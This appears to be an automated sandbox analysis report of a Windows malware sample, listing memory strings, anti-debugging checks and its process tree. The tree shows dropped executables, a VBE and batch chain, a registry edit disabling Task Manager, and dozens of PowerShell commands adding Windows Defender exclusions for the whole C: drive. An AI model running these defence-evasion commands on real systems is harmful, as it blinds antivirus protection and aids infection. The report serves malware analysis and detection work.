Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [amd64_microsoft-hyper-v-vstack_31bf3856ad364e35_10.0.19041.1_none_1aae8085937aee95.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-m..apinabout.resources_31bf3856ad364e35_10.0.19041.1_en-us_d314f4eb3925c8b5.manifest
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \HyperV-Compute-System-VirtualMachine-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.488.mum
Source: Everything.exe, 00000014.00000003.2331201128.0000000005D51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \wow64_microsoft-hyper-v-winsock-provider_31bf3856ad364e35_10.0.19041.1_none_97e0d8d7edeea164u~
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jamd64_microsoft-hyper-v-ram-parser.resources_31bf3856ad364e35_10.0.19041.1_en-us_50c23e4c771f203a.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-integration-rdv-core_31bf3856ad364e35_10.0.19041.964_none_3542494c595902f8
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RMicrosoft-Hyper-V-Package-base-Package~31bf3856ad364e35~amd64~~10.0.19041.1682.mum
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-v..failoverreplication_31bf3856ad364e35_10.0.19041.1_none_50b60ffc14c70fb2.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kamd64_microsoft-hyper-v-m..ients-firewallrules_31bf3856ad364e35_10.0.19041.1_none_a0e7047dc07f4f53.manifesta
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-v..rvcluster.resources_31bf3856ad364e35_10.0.19041.1_en-gb_71570953289cd4d0
Source: Everything.exe, 00000014.00000003.2346194575.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1566.cat
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `HyperV-Compute-Host-VirtualMachines-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mum
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _Microsoft-Hyper-V-Offline-Core-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.19041.1741.mumw
Source: Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V.ps1$
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-o..p-merged-deployment_31bf3856ad364e35_10.0.19041.1741_none_27157646a7f74243.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-vstack-synthfcvdev_31bf3856ad364e35_10.0.19041.1741_none_b365912b94b35a98
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \amd64_microsoft-hyper-v-kmcl_31bf3856ad364e35_10.0.19041.1889_none_e7d7bde611c8c141.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: aamd64_microsoft-hyper-v-vstack-rdv_31bf3856ad364e35_10.0.19041.928_none_58e4b5397f9ab13a.manifestQ
Source: Everything.exe, 00000014.00000003.2336839781.00000000052E1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Manager.lnk
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Zamd64_microsoft-hyper-v-vmbus_31bf3856ad364e35_10.0.19041.1_none_8d60e49d6e4b7e60.manifestq
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: damd64_microsoft-hyper-v-m..t-remotefilebrowser_31bf3856ad364e35_10.0.19041.746_none_6fbcad1699b89a67
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]Microsoft-Hyper-V-Offline-Common-merged-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.mumx
Source: Everything.exe, 00000014.00000003.2337417285.00000000051F1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2337228705.00000000051D1000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: XMicrosoft-Hyper-V-ClientEdition-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1766.cat
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmdebug.dll.mui
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-o..oyment-languagepack_31bf3856ad364e35_10.0.19041.1_en-gb_165edb2e5d580618.manifest
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lamd64_microsoft-hyper-v-m..wallrules.resources_31bf3856ad364e35_10.0.19041.1_en-us_90826ff4620798e4.manifestlV
Source: Everything.exe, 00000014.00000003.2331201128.00000000060E3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000014.00000003.2339073480.0000000005581000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: namd64_microsoft-hyper-v-d..s-vmswitch-netsetup_31bf3856ad364e35_10.0.19041.2006_none_f93d3f541072d580.manifest
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bamd64_microsoft-hyper-v-vstack-vmwp.resources_31bf3856ad364e35_10.0.19041.1_en-us_369e8b635061fdb3
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: camd64_microsoft-hyper-v-i..nents-rdv.resources_31bf3856ad364e35_10.0.19041.1_en-us_b3d1ef0d088d6955.
Source: Everything.exe, 00000014.00000003.2330717207.0000000002C01000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Samd64_microsoft-hyper-v-kmcl_31bf3856ad364e35_10.0.19041.1889_none_e7d7bde611c8c141

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	API call chain: ExitProcess graph end node			graph_2-25162
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	API call chain: ExitProcess graph end node			graph_3-3490

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe

Process information queried: ProcessInformation

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CDF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_00CDF838

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Code function: 6_2_00007FF63D61DDE0 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_00007FF63D61DDE0

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CE7DEE mov eax, dword ptr fs:[00000030h]

2_2_00CE7DEE

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe

Code function: 2_2_00CEC030 GetProcessHeap,

2_2_00CEC030

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00CDF838
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDF9D5 SetUnhandledExceptionFilter,	2_2_00CDF9D5
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CDFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00CDFBCA
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Code function: 2_2_00CE8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00CE8EBD
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D61B0B0 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF63D61B0B0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D618FB0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF63D618FB0
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Code function: 6_2_00007FF63D61B150 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF63D61B150
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D5B150 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF728D5B150
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D58FB0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF728D58FB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 7_2_00007FF728D5B0B0 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF728D5B0B0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D5B150 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF728D5B150
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D58FB0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF728D58FB0
Source: C:\Program Files\Everything\Everything.exe	Code function: 10_2_00007FF728D5B0B0 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00007FF728D5B0B0

Source: C:\Users\user\Desktop\wxl1r0lntg.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe'

Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\sqls211.exe "C:\Users\user\AppData\Local\Temp\sqls211.exe"	Jump to behavior
Source: C:\Users\user\Desktop\wxl1r0lntg.exe	Process created: C:\Users\user\AppData\Local\Temp\drivEn760.exe "C:\Users\user\AppData\Local\Temp\drivEn760.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sqls211.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" "	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Process created: C:\Program Files\Everything\Everything.exe "C:\Program Files\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline"
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
